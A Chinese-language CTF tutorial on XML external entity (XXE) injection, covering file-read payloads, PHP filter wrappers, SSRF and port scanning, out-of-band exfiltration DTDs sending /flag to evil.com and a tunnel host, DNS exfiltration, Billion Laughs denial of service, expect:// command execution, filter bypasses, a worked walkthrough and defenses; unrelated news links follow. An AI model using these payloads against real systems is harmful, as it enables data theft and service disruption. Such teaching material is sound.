XXE 漏洞 CTF
一、漏洞原理XXEXML External Entity InjectionXML 外部实体注入是指攻击者在可控的 XML 数据中通过构造恶意的外部实体声明让服务器解析 XML 时加载外部资源或文件从而导致信息泄露、请求伪造、命令执行等危害。核心成因应用的 XML 解析器启用了外部实体加载功能并且解析的 XML 内容部分可控攻击者可以注入自定义的 DOCTYPE 和实体定义。XML 基础回顾一个典型的 XML 文件结构?xml version1.0 encodingUTF-8?!DOCTYPEfoo[!ENTITYxxeHelloWorld]rootnamexxe;/name/root!DOCTYPE定义文档类型可以包含内部实体或外部实体。!ENTITY定义一个实体实体的引用xxe;会被替换成其内容。外部实体使用SYSTEM关键字引用外部资源例如!ENTITY xxe SYSTEM file:///etc/passwd当xxe;被解析时会加载指定文件内容。XXE 触发的关键条件XML 解析器开启了外部实体解析默认在许多旧版解析器中是开启的。攻击者能够控制 XML 内容的一部分如接口接受 XML 输入或可上传 XML 文件。二、XXE 的危害任意文件读取通过file://协议读取服务器本地文件如/etc/passwd、/flagSSRF通过http://协议让服务器发起对内网或其他服务器的请求端口探测通过发起内网请求并根据响应判断端口开放情况拒绝服务DoS构造递归实体造成解析器资源耗尽“Billion Laughs” 攻击远程代码执行少见在极少数配置下可通过expect://协议执行系统命令PHP 的 expect 模块数据外带在盲 XXE 中将文件内容通过 HTTP/FTP 请求发送到攻击者服务器三、XXE 的分类根据回显方式可分为三类3.1 有回显 XXEIn-band XXE应用会将 XML 的解析结果或实体引用的内容直接返回到响应中攻击者可以直接在返回内容里看到文件内容。示例 Payload?xml version1.0 encodingUTF-8?!DOCTYPEroot[!ENTITY xxe SYSTEM file:///tmp/flag.txt]rootusernamexxe;/username/root!DOCTYPEuser[!ENTITY xxe SYSTEM file:///tmp/flag.txt]userusernamexxe;/username/user- !ENTITYxxe自定义实体名称 xxe调用时用xxe;引用 - SYSTEM标记这是**外部实体**会读取外部资源 - file:///tmp/flag.txt本地文件协议告诉解析器读取服务器 /tmp/flag.txt 文件内容 -XML 解析器在渲染文档时会自动把xxe;替换成 /tmp/flag.txt 的完整文本内容最终响应返回文件内容给攻击者。如果返回的name标签内容变成了/etc/passwd的文件内容即为有回显 XXE。3.2 带外数据 XXEOOB XXEOut-of-Band没有直接回显但可以强制解析器向攻击者服务器发送请求通过 HTTP 或 DNS 将文件内容带出。示例 Payload通过 HTTP 外带!DOCTYPEfoo[!ENTITY % file SYSTEM file:///flag !ENTITY % call !ENTITY exfil SYSTEM http://evil.com/?data%file; %call;]?xml version1.0?!DOCTYPEdata[!ENTITY xxe SYSTEM File:///tmp/flag.txt]datausernamexxe/usernameemailguestexample.com/email/data注意这种写法由于实体引用限制通常需要将参数实体和常规实体分开使用实际利用时需要使用 DTD 文件组合。3.3 盲 XXEBlind XXE完全没有直接回显也不能直接建立出站连接或只能依赖错误信息。需要利用错误信息泄露或时间盲注等方式推断数据。例如当文件不存在时产生错误或通过不同响应状态码判断/flag是否存在。dtd文件中用 !ENTITY % file SYSTEM php://filter/convert.base64-encode/resource/tmp/flag.txt !ENTITY % exfiltrate !ENTITY#x25;send SYSTEM https://3510c197.r18.cpolar.top/?flag%file; %exfiltrate; %send; 这个base64编码就可以 用file直接读取文件 !ENTITY % file SYSTEM file:///tmp/flag.txt !ENTITY % exfiltrate !ENTITY#x25;send SYSTEM https://3510c197.r18.cpolar.top/?flag%file;%exfiltrate;%send; 报错Notice : DOMDocument::loadXML(): PEReference: %send; not found in Entity, line: 1 in 这是为什么呢 内侧ENTITY声明不要加符号空格就行 注意 !ENTITY % exe !ENTITY % entity SYSTEM http://.../?flag%file; !ENTITY % exe !ENTITY#37;entity SYSTEM http://.../?flag%file; 这俩写法都是错的不要在内部的ENTITY再写 % 或者#37;正确做法是不写四、XXE 的利用手法4.1 读取本地文件最常用适用于有回显场景。基础 payload?xml version1.0?!DOCTYPEa[!ENTITY xxe SYSTEM file:///flag]rootxxe;/root常用文件路径Linux:/etc/passwd、/flag、/proc/self/environWindows:C:\Windows\win.ini、C:\flag.txt绕过绝对路径未知可以读取/etc/hostname、/proc/self/cwd/flag当前工作目录下的 flag等。4.2 利用 PHP 伪协议读取文件如果目标服务器是 PHP且 XML 解析器支持 PHP 封装协议如php://filter可读取源码或文件并返回 Base64 编码的内容。!DOCTYPEfoo[!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/flag]rootxxe;/root返回 base64 编码后的 flag解码即可。4.3 内网请求与端口扫描SSRF利用http://协议发起请求!DOCTYPEfoo[!ENTITY xxe SYSTEM http://192.168.1.1:8080/flag]rootxxe;/root扫描端口尝试不同端口根据响应时间或错误信息如“Connection refused”判断端口是否开放。常配合 Burp Intruder。4.4 盲 XXE 外带数据OOB当没有直接回显时通过将文件内容嵌入到对攻击者服务器的请求中来窃取数据。经典 OOB 结构利用参数实体和外部 DTD在攻击者 VPS 上放置一个 DTD 文件如evil.dtd!ENTITY % file SYSTEM file:///flag !ENTITY % start !ENTITY#x25;send SYSTEM http://evil.com/?f%file; %start;%是%的实体编码用于绕过嵌套实体限制在目标处提交 XML payload引入外部 DTD 并调用?xml version1.0?!DOCTYPEfoo[!ENTITY % dtd SYSTEM http://evil.com/evil.dtd %dtd;]roottest/root解析时会加载外部 DTD其中定义了file实体读取本地文件然后通过 HTTP 请求将内容发送到攻击者服务器。在 VPS 的访问日志中即可看到/flag的内容。注意这种方式要求目标服务器能够出站访问攻击者的服务器有网络策略可能阻断。4.5 利用 DNS 外带无需 HTTP 出站若 HTTP 被禁但 DNS 请求能出站可以通过 DNS 查询携带数据。在 DTD 中使用!ENTITY % file SYSTEM file:///flag !ENTITY % send SYSTEM http://%file;.evil.com/将文件内容作为子域名发出 DNS 查询攻击者在 DNS 服务器端查看日志即可得到内容需注意域名长度限制和字符限制可能需要过滤/截断。4.6 拒绝服务攻击Billion Laughs递归实体导致指数级膨胀耗尽内存。?xml version1.0?!DOCTYPElolz[!ENTITYlollol!ENTITYlol2lol;lol;lol;lol;lol;lol;lol;lol;lol;lol;!ENTITYlol3lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;...]lolzlol9;/lolz触发服务器资源耗尽导致拒绝服务。4.7 执行系统命令较少PHP 环境下若安装了expect扩展并且 XML 解析器加载了该模块可以使用expect://协议执行命令!DOCTYPEfoo[!ENTITY xxe SYSTEM expect://id]rootxxe;/root但实际环境中极为罕见一般不作为主要攻击面。五、绕过 XXE 防御技巧部分应用会对用户的输入进行过滤如移除ENTITY、SYSTEM等关键词需要绕过。5.1 大小写变体!DOCTYPEfoo[!ENTITY xxe SYSTEM file:///flag]改成!doctypefoo[!entity xxe system file:///flag]5.2 编码绕过使用 UTF-16 编码绕过 WAF需确保 Content-Type 对应使用实体编码代替等但 DOCTYPE 声明本身必须为原始字符内部可用在外部 DTD 里进行嵌套避免直接出现敏感关键词5.3 空格与注释混淆在关键词中间插入空格、换行或注释!DOCTYPEfoo[!ELEMENTfooANY!ENTITY xxe SYSTEM file:///flag]或!ENTITY % xxe SYSTEM file:///flag %xxe;5.4 使用参数实体分段调用将 SYSTEM 和路径分开定义避免直接被过滤!DOCTYPEfoo[!ENTITY%call“SYSTEM”!ENTITY % path “file:///flag”!ENTITY%xxe“%call;‘%path;’” %xxe;]实践中需要根据解析器特性调整5.5 JSON 到 XML 的攻击面XML 内部转换如果应用接受 JSON 输入但内部转换为 XML 处理例如使用了 XML 数据库或 SOAP可尝试注入包含 XML 实体的 JSON 内容或通过 JSON 值修改内部 XML 结构。六、CTF 实战示例XXE 读 Flag题目描述一个在线购物网站支持通过 XML 格式上传订单数据。提交 XML 后返回订单确认信息。目标读取服务器上的/flag文件。步骤确定 XML 解析拦截正常请求发现Content-Type: application/xml请求体为?xml version1.0?orderitembook/itemquantity1/quantity/order响应中会回显messageOrder placed for book x 1/message说明我们的输入被解析并回显。测试实体注入有回显发送?xml version1.0?!DOCTYPEfoo[!ENTITYtesthello]orderitemtest;/itemquantity1/quantity/order响应变为Order placed for hello x 1成功执行实体确认存在有回显 XXE。尝试读取文件?xml version1.0?!DOCTYPEfoo[!ENTITY xxe SYSTEM file:///flag]orderitemxxe;/itemquantity1/quantity/order若直接返回 flag 内容则完成。如果失败比如被过滤尝试下一步。使用 PHP 伪协议假设后端为 PHP!DOCTYPEfoo[!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/flag]orderitemxxe;/item/order返回 base64 字符串解码得到 flag。若直接回显被禁用盲 XXE尝试带外数据。在自己的 VPS 上放置evil.dtd内容如上文 OOB 部分。然后发送?xml version1.0?!DOCTYPEfoo[!ENTITY % dtd SYSTEM http://your-vps/evil.dtd %dtd;]orderitem1/item/order在 VPS 日志中看到包含/flag内容的请求。绕过过滤如果提示“ENTITY is not allowed”之类的错误尝试大小写或利用参数实体。或者通过将整个注入放在外部 DTD 中减少直接敏感字符。拿到 Flag成功将文件内容显示或外带得到flag{xxe_is_fun}。七、常见防御措施禁用外部实体解析这是最根本的防御。在各种语言中配置PHPlibxml_disable_entity_loader(true);Java (SAX/DOM)设置setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)Python (lxml)使用resolve_entitiesFalse使用不易受 XXE 影响的 XML 库如 Python 的defusedxmlJava 的XMLInputFactory安全配置。白名单验证输入内容过滤!DOCTYPE、!ENTITY、SYSTEM等但绕过可能性高不推荐作为唯一防线。升级解析器较新版本的库默认禁用外部实体。WAF可以检测并阻止典型的 XXE payload但需配合后端安全配置。最小权限运行限制出站网络连接防止盲 XXE 外带数据。八、总结XXE 漏洞本质是XML 解析器对用户输入的盲信执行了攻击者定义的外部实体加载。CTF 中常考察有回显读文件、带外数据外带、内网探测等利用手法。绕过技巧集中在协议伪协议、编码混淆和实体嵌套构造上。防御的核心是禁用外部实体而非依赖过滤或 WAF。理解 DTD 和实体的工作机制是掌握 XXE 的关键。

相关新闻

一个回答需要10分钟:飞书问答机器人踩坑实录——纯Agent自由检索,差点让我们的机器人“难产”

一个回答需要10分钟:飞书问答机器人踩坑实录——纯Agent自由检索,差点让我们的机器人“难产”

一次关于“为什么生产级Agent必须学会做减法”的实战复盘01. 缘起:给内部开发者配一个“懂代码”的飞书助手我们团队内部维护着大量的自研工具和软件。其中核心的XXX项目涉及多个私有代码仓库,总代码量数万行,文档采用渐进式披露的方式嵌在代…

2026/8/4 3:02:02 阅读更多 →
AI生成漫画避坑指南(97%新手踩过的8个致命错误)

AI生成漫画避坑指南(97%新手踩过的8个致命错误)

更多请点击: https://kaifayun.com 第一章:AI生成漫画的核心原理与技术边界 AI生成漫画并非简单地将文本转为图像,而是融合多模态理解、时序建模与视觉风格解耦的系统性工程。其底层依赖于扩散模型(Diffusion Models)…

2026/8/4 3:02:02 阅读更多 →
中小企业智能体方案怎么落地?TeleAgent先从重复办公和人手压力入手

中小企业智能体方案怎么落地?TeleAgent先从重复办公和人手压力入手

图文店上午要整理客户素材,下午要做报价单;教培机构刚汇总完学员资料,又要准备课件和各校区周报。中小企业的压力往往不是缺少某一个软件,而是人手有限、事务类型多。TeleAgent是由中电信人工智能科技有限公司(简称“天翼Ai”&…

2026/8/4 3:02:02 阅读更多 →

最新新闻

基于Oracle DB与MCP协议构建AI Agent三位一体记忆系统

基于Oracle DB与MCP协议构建AI Agent三位一体记忆系统

1. 项目缘起:当AI Agent需要记住“一切” 最近在折腾一个AI Agent项目,遇到了一个非常典型的问题:Agent的“记忆力”太差了。这里的记忆力,不是指大模型本身的上下文长度,而是指Agent在长期运行、与用户多次交互、执行…

2026/8/4 3:49:26 阅读更多 →
Godot-Nim项目手动属性注册:非导出方式暴露类型属性的技术解析

Godot-Nim项目手动属性注册:非导出方式暴露类型属性的技术解析

1. 项目概述:为什么我们需要“非导出”属性?在Godot引擎的游戏开发中,尤其是使用GDScript时,我们习惯了在脚本中声明一个变量,然后在编辑器的Inspector面板中勾选“Export”复选框,一个属性就暴露出来了。这…

2026/8/4 3:49:26 阅读更多 →
大数据Hadoop运维应用实践——大数据平台架构_日志收集与分析工具Logstash

大数据Hadoop运维应用实践——大数据平台架构_日志收集与分析工具Logstash

大数据Hadoop运维应用实践——大数据平台企业经典架构分析与轻量级日志收集工具Filebeat的安装配置https://blog.csdn.net/xiaochenXIHUA/article/details/163408849 一、Logstash简介与安装 1.1、Logstash的是什么?有啥用? Logstash是

2026/8/4 3:49:26 阅读更多 →
FastAPI 集成通义千问(Qwen)实战 Day1:非流式调用与 SSE 流式输出

FastAPI 集成通义千问(Qwen)实战 Day1:非流式调用与 SSE 流式输出

FastAPI 集成通义千问(Qwen)实战 Day1:非流式调用与 SSE 流式输出关键词:FastAPI、通义千问、Qwen、OpenAI 兼容协议、SSE 流式、Python 本文记录我在招聘系统项目里接入大模型能力的第一天:用阿里云百炼(D…

2026/8/4 3:49:26 阅读更多 →
重磅!商标注册成功后的监测与维护服务你了解吗?

重磅!商标注册成功后的监测与维护服务你了解吗?

重磅!商标注册成功后的监测与维护服务,你了解吗?“商标注册证终于拿到手了,这下可以高枕无忧了!”如果你也这么想,可能正在犯一个大多数创业者都会犯的错误——拿到注册证,只是品牌保护这场马拉…

2026/8/4 3:49:26 阅读更多 →
PICAXE编程进阶:从输入输出到项目实战的嵌入式系统开发指南

PICAXE编程进阶:从输入输出到项目实战的嵌入式系统开发指南

1. 项目概述:从入门到实践,解锁PICAXE编程的核心技能上次我们聊了PICAXE编程的入门,搭建了环境,点亮了第一个LED,算是和这个小家伙打了个招呼。很多朋友反馈说,感觉像是刚拿到驾照,只会直行和倒…

2026/8/4 3:48:26 阅读更多 →

日新闻

AI Agent白手起家26: 使用标准事件驱动大模型实践

AI Agent白手起家26: 使用标准事件驱动大模型实践

纲要 练习目标:掌握大模型标准事件的调用回顾 LangChain 中的核心标准事件 invokestreambatchastream_eventswith_structured_output 环境准备实战代码:多种事件调用对比 同步调用与流式输出批量处理异步事件流监听结构化输出 运行说明与预期结果总结与扩…

2026/8/4 0:00:40 阅读更多 →
dealsea是什么?跨境卖家必知的美国deal站入门指南

dealsea是什么?跨境卖家必知的美国deal站入门指南

说实话,第一次听说美国这个老牌折扣网站的跨境卖家,十个有八个会问同一个问题:这个平台到底是干嘛的?我见过一个做家居出口的朋友,他在亚马逊上月销二十万美金,却从来没用过它。我给他看了首页——一屏一屏…

2026/8/4 0:01:40 阅读更多 →
清华大学重磅EST:植物自导电闪蒸焦耳热600°C/2600°C两步法!稀土超积累植物秒级转化为CeO₂-石墨烯电催化剂!

清华大学重磅EST:植物自导电闪蒸焦耳热600°C/2600°C两步法!稀土超积累植物秒级转化为CeO₂-石墨烯电催化剂!

通讯作者:邓兵、刘建国通讯单位:清华大学DOI:https://doi.org/10.1021/acs.est.6c00603研究背景稀土元素(REEs)是清洁能源技术与电子器件不可或缺的核心原料,然而传统提取方式依赖能耗高、排放大的采矿与强…

2026/8/4 0:01:40 阅读更多 →

周新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/3 4:58:13 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/3 1:53:31 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/3 4:36:35 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/3 13:07:03 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/3 5:19:38 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/3 8:27:36 阅读更多 →